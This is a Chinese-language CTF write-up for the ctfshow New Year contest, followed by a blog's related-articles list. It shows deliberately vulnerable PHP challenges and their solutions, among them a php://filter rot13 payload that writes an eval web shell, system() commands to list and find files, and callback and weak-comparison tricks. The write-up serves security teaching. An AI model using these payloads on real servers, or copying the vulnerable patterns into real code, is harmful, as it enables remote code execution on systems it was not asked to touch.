ctfshow 新年欢乐赛

简介: ctfshow 新年欢乐赛WP

热身

<?php
eval($_GET['f']);

方法一

在这里插入图片描述打开之后先查看phpinfo() 直接可以代码执行,从phpinfo里面找到flag的位置(自动包含的文件)

在这里插入图片描述输出即可得flag

在这里插入图片描述

方法二

第二种思路是,查看当前页面得变量,直接出flag ?f=print_r(get_defined_vars());

在这里插入图片描述

web1

<?php
highlight_file(__FILE__);
error_reporting(0);
$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);

知识点:死亡==exit的绕过==(分为三种情况) 参考文章:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

网上通用payload:?content=php://filter/write=string.rot13|<?cuc @riny($_CBFG[pzq]);?>|/resource=shell.php========><?php @eval($_POST[cmd]);?>

在这里插入图片描述写入可利用参数cmd

查找fl开头的文件,post传参 cmd=system("find / -name fl*");

在这里插入图片描述发现有个/flag.txt

查看/flag.txt 即为flag

web2

<?php
highlight_file(__FILE__);
session_start();
error_reporting(0);
include "flag.php";
if(count($_POST)===1){ //post传入的参数量必须只有一个
        extract($_POST);
        if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){ //invoke
                echo $flag;
        }
}
?>

session_id() 返回当前会话ID。 如果当前没有会话,则返回空字符串("")。

Post session_id=session_id Cookie PHPSESSID=HappyNewYear

即可得flag

web3

<?php
highlight_file(__FILE__);
error_reporting(0);
include "flag.php";
$key=  call_user_func(($_GET[1]));
if($key=="HappyNewYear"){
  echo $flag;
}
die("虎年大吉,新春快乐!");

知识点:==弱比较和回调函数== PHP弱类型比较:https://blog.csdn.net/THlo1/article/details/108227721

payload: ?1=session_start?1=error_reporting?1=json_last_error

session_start:开启会话 error_reporting:如果没有设置可选参数 level, error_reporting() 仅会返回当前的错误报告级别 json_last_error:如果有,返回 JSON 编码解码时最后发生的错误

web4

<?php
highlight_file(__FILE__);
error_reporting(0);
$key=  call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");
die("虎年大吉,新春快乐!");

spl_autoload_extensions — 注册并返回spl_autoload函数使用的默认文件扩展名。

当不使用任何参数调用此函数时,它返回当前的文件扩展名的列表,不同的扩展名用逗号分隔。要修改文件扩展名列表,用一个逗号分隔的新的扩展名列表字符串来调用本函数即可。中文注:默认的spl_autoload函数使用的扩展名是".inc,.php"。

传入 ?1=spl_autoload_extensions生成 .inc,.php 文件(shell文件)

之后进入.inc,.php

1=system('ls /') 查看目录下所有文件,发现有个f1ag.txt

查看f1ag.txt即可得flag

目录
相关文章
|
4月前
|
数据安全/隐私保护
[SWPUCTF 2021 新生赛]原来你也玩原神
[SWPUCTF 2021 新生赛]原来你也玩原神
116 0
|
4月前
|
Python
NSSCTF[HUBUCTF 2022 新生赛]ezPython
NSSCTF[HUBUCTF 2022 新生赛]ezPython
38 0
|
4月前
|
Python
春秋杯 snack入土为安的第二天
春秋杯 snack入土为安的第二天
30 0
|
编解码 Shell PHP
Ctfshow [单身杯]
Ctfshow [单身杯]
169 0
|
Python
Pythyon|当中秋遇上国庆
Pythyon|当中秋遇上国庆
205 0
|
JavaScript PHP
CTFSHOW 愚人节欢乐赛
CTFSHOW 愚人节欢乐赛WP
241 0
CTFSHOW 愚人节欢乐赛
|
人工智能 编解码 达摩院
中秋,和千年前的朋友一起上央视
昨天,杭州图书馆和达摩院的合作项目「AI算法复现古人“吟咏”中秋画面」,获得了CCTV13的报道。
498 0
天龙八部兵圣奇阵称号
我们在玩游戏的时候系统都会奖励一些称号,这些称号有的是加血或加攻击之类的,也让游戏公司策划对玩家多刷副本获取称号的一种奖励, 下面来看看天龙八部兵圣奇阵称号源代码 -- 缥缈峰称号 20090220 by zhangguoxin x894100_g_scriptId = 894100 --征南先锋
2112 0
|
测试技术 Shell PHP
MOCTF新春欢乐赛部分WP
已经过去有段时间了,比赛在年前,现在才有时间整理一下当时做出的一些题目。 当作是一个复习梳理了 比赛地址:http://happy.moctf.com/ 官方所有WP:https://github.
1249 0